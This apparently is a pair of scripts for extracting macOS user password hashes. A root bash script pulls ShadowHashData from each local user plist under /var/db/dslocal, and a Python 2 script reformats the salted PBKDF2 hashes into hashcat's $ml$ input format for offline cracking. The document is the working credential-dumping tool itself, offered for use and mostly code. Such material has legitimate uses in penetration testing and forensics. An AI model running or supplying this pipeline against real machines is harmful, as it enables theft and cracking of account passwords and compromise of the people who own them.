OS X Password Hash Extraction

extract_osx_plists.sh

#!/bin/bash

pat="^[0-9a-zA-Z ]{1,}\.plist"
xml_pat="^<\?xml.*"

if [[ $EUID -ne 0 ]]; then
	echo "[-] Not running as root, you probably won't see any results."
fi

for f in /var/db/dslocal/nodes/Default/users/*
do
	basefile=$(basename $f)
	if [[ $basefile =~ $pat ]]; then
		xml=$(defaults read $f ShadowHashData 2>/dev/null|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o -)
		if [ $? -eq 0 ]; then
			if [[ $xml =~ $xml_pat ]]; then
				echo $xml
			fi	
		fi
	fi
done

transform_to_singleline.py

#!/usr/local/bin/python

# Transform a plist xml export into hashcat format.
# Reads from STDIN

import xml.etree.ElementTree as ET
import sys


def main():
	for line in sys.stdin.readlines():
		root = ET.fromstring(line)
		for child in root.findall(".//data[1]"):
			entropy = child.text.replace(" ", "").strip()
		for child in root.findall(".//integer[1]"):
			iterations = child.text.strip()
		for child in root.findall(".//data[2]"):
			salt = child.text.strip()
		print "$ml$"+iterations+"$"+salt+"$"+entropy

if __name__ == "__main__":
	main()